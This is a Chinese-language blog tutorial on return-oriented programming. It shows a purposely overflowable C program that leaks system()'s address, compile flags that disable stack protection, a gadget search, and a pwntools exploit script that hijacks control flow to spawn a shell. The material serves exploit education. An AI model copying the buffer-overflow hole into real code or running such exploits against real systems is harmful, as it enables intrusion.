ROP例子

下面来举一个简单的ROP攻击技术的例子

#include<stdio.h>
#include<unistd.h>
#include<dlfcn.h>
void vuln_func(){
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char *argv[]){
    void *handle = dlopen("libc.so.6", RTLD_NOW | RTLD_GLOBAL);
    printf("%p\n", dlsym(handle, "system"));
    vuln_func();
    write(STDOUT_FILENO, "Hello world!\n", 13);
}
gcc -fno-stack-protector -z noexecstack -pie -fpie ROP64.c -ldl -o ROP64
ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.31.so --only "pop|ret" | grep rdi

在这里插入图片描述在这里插入图片描述在这里插入图片描述
rsp, rbp相差128字节
在这里插入图片描述在这里插入图片描述

exp脚本

from pwn import *
io = process('./ROP64')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

system_addr = int(io.recvline(), 16)
libc_addr = system_addr - libc.sym['system']
binsh_addr = libc_addr + next(libc.search('/bin/sh'))
pop_rdi_addr = libc_addr + 0x0000000000026796

payload = "A" * 136 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)

io.send(payload)
io.interactive()

解释

通常先泄漏运行程序的system地址, 拿到偏移量libc_addr, 根据本地libc搜索/bin/sh的地址, 加上偏移量, 得到binsh_addr即目标程序的/bin/sh地址, 偏移量+本地pop_rdi的地址就是目标程序pop_rdi_addr地址, 栈溢出劫持执行流到pop_rdi_addr, 执行pop rdi, ret.
ret执行相当于pop rip, 此时rsp所在位置是覆盖了binsh_addr和system_addr, 所以相当于rdi参数传递’/bin/sh’, 返回到system函数位置执行, 所以就是执行system(’/bin/sh’), 拿到shell~
(一开始我也不理解, 后来把栈结构画出来, 脑内模拟执行流, 就全部弄清楚了. cheers!!!~

在这里插入图片描述

拿到shell

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值